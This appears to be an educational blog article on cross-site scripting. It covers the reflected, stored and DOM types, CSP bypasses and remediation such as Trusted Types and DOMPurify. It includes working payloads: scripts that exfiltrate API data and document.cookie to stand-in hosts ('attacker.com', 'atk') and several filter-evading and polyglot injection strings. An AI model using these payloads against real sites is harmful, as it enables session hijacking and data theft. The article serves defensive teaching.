Cross-site scripting is twenty-five years old and still topping bug bounty payouts. Modern frameworks make trivial reflected XSS rare — but the bug class evolved, not disappeared. Here’s the 2026 view.

The Three Flavors

TypeWhere the payload livesTrigger
ReflectedURL or form, echoed in responseVictim clicks crafted link
StoredDatabase, served back to other usersVictim visits an infected page
DOM-basedSink in client-side JS reads a sourceAnything that influences the source

Stored XSS is highest impact (often worm-able). DOM XSS dominates modern SPAs because so much state lives in the browser.

Reflected — The Classic

GET /search?q=<script>alert(1)</script>

Returned in the page:

<div class="results">No results for: <script>alert(1)</script></div>

Real exploit:

<script>
  fetch('/api/me').then(r=>r.text()).then(d=>
    fetch('https://attacker.com/x?d='+btoa(d))
  )
</script>

The first thing every XSS gives you is access to anything the victim’s session can access. CSRF tokens, profile data, internal APIs.

Stored — Maximum Impact

A comment field that doesn’t sanitize HTML, served to every visitor:

<img src=x onerror="fetch('https://atk/?c='+document.cookie)">

If HttpOnly is set, the cookie is unreachable — but session ride is still trivial: you can issue authenticated requests from the victim’s browser.

DOM-Based — Hardest to Find

Source: a piece of attacker-controlled data (URL hash, postMessage, localStorage). Sink: an API that interprets it as code (innerHTML, eval, setTimeout(str), document.write).

// Vulnerable: src is location.hash
let template = location.hash.substring(1);
document.getElementById('output').innerHTML = template;

https://target/#<img src=x onerror=alert(1)> triggers.

Modern Framework Sinks

React’s dangerouslySetInnerHTML, Angular’s bypassSecurityTrustHtml, Vue’s v-html — all named to scare you, all routinely misused.

Bypassing CSP

A “modern” defense, often misconfigured:

Content-Security-Policy: script-src 'self' https://*.googleapis.com 'unsafe-inline'

That 'unsafe-inline' is XSS-game-over. Even without it:

  • JSONP endpoints on *.googleapis.com execute attacker-supplied callbacks.
  • CDN file hosting like AngularJS on cdnjs lets you load Angular and use template injection.
  • Strict-dynamic with nonce reuse — if your nonces are not per-request, snapshot one and reuse it across the page.

A strong CSP looks like:

Content-Security-Policy:
  default-src 'self';
  script-src 'nonce-{random}' 'strict-dynamic';
  base-uri 'none';
  object-src 'none';
  frame-ancestors 'none';

Real-World Payload Patterns

<!-- Innocuous-looking, evades naive filters -->
<svg onload=alert(1)>
<svg/onload=alert`1`>
<iframe srcdoc="<script>alert(1)</script>">

<!-- Filter bypass via attribute -->
<input autofocus onfocus=alert(1)>

<!-- Modern HTML5 -->
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>

<!-- Polyglot — same payload survives many contexts -->
javascript:/*--></title></style></textarea></script><svg/onload=alert(1)>

Remediation That Holds

  1. Context-aware encoding. HTML body, attribute, URL, JS, and CSS contexts all need different encodings. Use a framework: React’s JSX, Django templates, Laravel Blade, all encode by default.
  2. Avoid the dangerous APIs. No innerHTML with user data. Use textContent or framework binding.
  3. Trusted Types (Chrome / Edge). Set Content-Security-Policy: require-trusted-types-for 'script' and your application will throw on any string-to-DOM sink without an explicit policy.
  4. Sanitize HTML with DOMPurify when you genuinely need to render user-supplied HTML. Never roll your own.
  5. Strong CSP with nonce + strict-dynamic.
  6. HTTPOnly + SameSite=Lax cookies. Doesn’t prevent XSS, but contains it.

The Single Greatest Defense

Trusted Types. Browser-enforced sink protection. The first defense in years that scales — and unlike WAFs, it can’t be bypassed by a creative payload because the browser refuses to render unsafe strings at all.

References